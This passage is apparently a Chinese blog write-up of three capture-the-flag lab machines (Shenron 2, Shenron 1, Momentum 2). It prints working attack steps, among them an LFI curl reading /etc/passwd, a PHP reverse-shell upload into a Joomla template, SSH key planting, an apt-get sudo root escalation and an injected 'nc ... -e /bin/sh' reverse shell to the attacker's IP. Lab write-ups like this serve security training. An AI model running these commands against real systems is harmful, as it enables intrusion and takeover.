cd ~
./network

image-

3.在/root目录下发现flag,即root.txt:

image-

Shenron 2

Shenron:2

一、基本信息

名称:shenron:2

发布日期:2021.4.5

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:shenron-2.ova

文件大小:3.7GB

下载地址:

MD5: 2883845FF2E1E122E1B1E75CF9A4B4E1

SHA1: E66BDA7AB264D1FEA2103801BB422731F34F0599

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron2和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.3.134:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.3.134/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放22,80及8080端口,访问主页查看源码,没有太多线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.3.136 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,没有发现太多值得关注的目录:

1
gobuster dir -u http://192.168.3.136/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Wordpress漏洞利用

1.先把解析写入host,然后访问192.168.3.136:8080,发现是wordpress搭建的页面,可以用wpscan尝试寻找下漏洞:

1
vim /etc/hosts

image-

image-

1
wpscan --url http://shenron:8080 --api-token $(cat /opt/wpscan-api) --enumerate

image-

2.发现有Site Editor的漏洞,我们可以看一下如何利用:

1
searchsploit Site Editor 1.1.1

image-

1
curl http://shenron:8080/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd,得到有两个用户和密码hash

image-

SSH密码爆破,初步提权

1.用hydra进行jenny爆破,得到密码登录SSH:

image-

image-

2.在jenny用户下,查看suid,可以发现/usr/bin/Execute,查看文件(需要导入本地查看,不然是elf乱码):

1
find / -type f -perm -u=s 2>/dev/null

image-

image-

3.我们可以知道这个文件的作用是将/bin/bash复制到/mnt/bash下,并给予shenron用户权限,那么我们可以利用这个文件:

1
2
Execute
/mnt/bash -p

image-

root提权

1.查看.pass文件,我们能发现一串类似base编码的字符串,利用base32解密发现是shenron用户登录的密码:

image-

2.登录shenron后,查看权限,发现可以直接提权到root:

image-

3.在/root目录下,可以找到flag,即root.txt:

image-

Shenron 1

Shenron:1

一、基本信息

名称:shenron:1

发布日期:2020.12.15

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:中等

三、文件信息

文件名:shenron-1.ova

文件大小:1.3GB

下载地址:

MD5: 3D9F0F620846BC15F4591E7AC56C04B2

SHA1: 4E1D33E2338ADA4CA1C093CD67725850A033BAAD

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron1和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放22,80端口,访问主页还是apache2的初始页:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.113 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/joomla和/test两个值得关注的目录,可以进行访问:

1
gobuster dir -u http://192.168.56.113/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

寻找密码,登录joomla后台

1.访问192.168.56.113/test,发现有password文件,查看password源码,能够发现admin用户的密码:

image-

image-

2.可以用admin用户登录joomla管理后台:

1
gobuster dir -u http://192.168.56.113/joomla -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,寻找后台

image-

image-

上传webshell

1.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,同时开启kali端口监听:

image-

2.在joomla后台管理页Templates-Templates-Protostar Details and Files-error.php内写入webshell内容后保存:

image-

3.访问不存在页面,触发webshell,再使用python构建交互式shell:

image-

image-

SSH免密登录,逐步提权

1.在/var/www/html/joomla目录下,我们从configuration.php文件中可以发现jenny用户及其密码,可用作登录:

image-

image-

2.登录jenny用户后,我们尝试使用ssh免密登录:

1
cat ~/.ssh/id_rsa.pub,首先在kali上查看自己的ssh密钥并复制下来,没有的话执行ssh-keygen,回车默认

image-

1
2
3
cd ~
cd .ssh
echo __public key__ >> authorized_keys,在jenny用户进入/.ssh目录,写入kali复制的密钥

image-

3.接着我们进行执行权限查看,发现shenron用户可以使用复制命令,则刚好可以把jenny现在有的ssh密钥复制过去,免密登录shenron:

1
sudo -l

image-

1
2
cp /home/jenny/.ssh/authorized_keys /tmp/
sudo -u shenron cp /tmp/authorized_keys /home/shenron/.ssh/

image-

root提权

1.在/var/opt目录下,我们能发现password.txt,应该是shenron用户的密码:

1
2
3
4
5
Python3 -m http.server 8001,在kali开放http服务
cd /tmp
wget http://192.168.56.102:8001/linpeas.sh,使用linpeas.sh工具扫描
chmod +x linpeas.sh
./linpeas.sh | tee output

image-

2.在shenron用户基础上,再查看权限,发现所有用户都可以使用apt,则用apt进行提权(详见https://gtfobins.github.io/gtfobins/apt-get/):

1
2
3
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl

image-

3.在root用户/root目录下,可以查看flag,即root.txt:

image-

Momentum 2

Momentum:2

一、基本信息

名称:Momentum:2

发布日期:2021.6.28

作者:AL1ENUM

系列:Momentum

推特:@AL1ENUM

二、靶机简介

Flags:

www-data:/home/athena/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:Momentum2.ova

文件大小:698MB

下载地址:

MD5: 5E837FD87D809C499911B1CB1A257CD9

SHA1: 17FACC18FE6A6979159C4D0A09CC330602E81E68

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Momentum2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问首页有一些图片:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.107 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现五个可见目录,可以去看看:

1
gobuster dir -u http://192.168.56.107/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

文件上传漏洞发现

1.访问一下dashboard.html页面,是一个上传页,会将文件传到目录/owls下,而这个目录无法直接上传php文件,只能上传txt文件:

image-

2.在前端js是没有做出文件上出限制的,目录扫描到ajax.php是0kb,可以去查看ajax.php.bak文件,发现规定在cookie中做出了上传限制,则想到BP抓包修改cookie:

image-

image-

ajax.php.bak代码的内容是:当cookie存在,且键名为admin时,是可以上传pdf、php、txt文件的;不过admin需要一个值,代码中已经给出了值,但是在这个值的最后还缺少一位大写的字符;此外,还要使用post方式提交一个参数secure;最后上传成功时会返回一个1

3.使用crunch生成一个最后一位是大写的字符字典,用于等下BP去爆破cookie;并且修改kali自带的webshell,准备上传:

1
2
crunch 1 1 -t , -o pass.txt
vim /usr/share/webshells/php/php-reverse-shell.php

image-

image-

Burpsuite抓包修改

1.在dashboard.html选择上传php-reverse-shell.php,用BP拦截后,导入Intruder模块,加载刚才生成的字典pass.txt,并添加一个POST数据:

image-

image-

image-
2.开始爆破cookie,发现最后的大写字符是R,来到Repeater模块,添加cookie和post后发送包,在kali开启端口监听,在/owls目录触发webshell:

image-

image-

image-

image-

3.用python构建一个交互式shell,然后在/home/athena目录下可以发现第一个flag,即user.txt:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-

root提权

1.查看同目录下的password-reminder.txt文件,得到一个密码提示,Asterisk是的意思,可以猜测是任意字符,但其实ssh登录尝试一下就是

image-

image-

2.查看当前用户权限,可以以root身份执行cookie-gen.py,查看文件,发现会将输入的值传给seed参数,然后写入到log.txt中,在echo时会执行bash命令:

image-

3.可以直接输入反弹shell给seed,然后kali开启对应端口监听,在/root目录下能得到第二个flag,即root.txt:

1
反弹shell:;nc 192.168.56.102 12345 -e /bin/sh;

image-

image-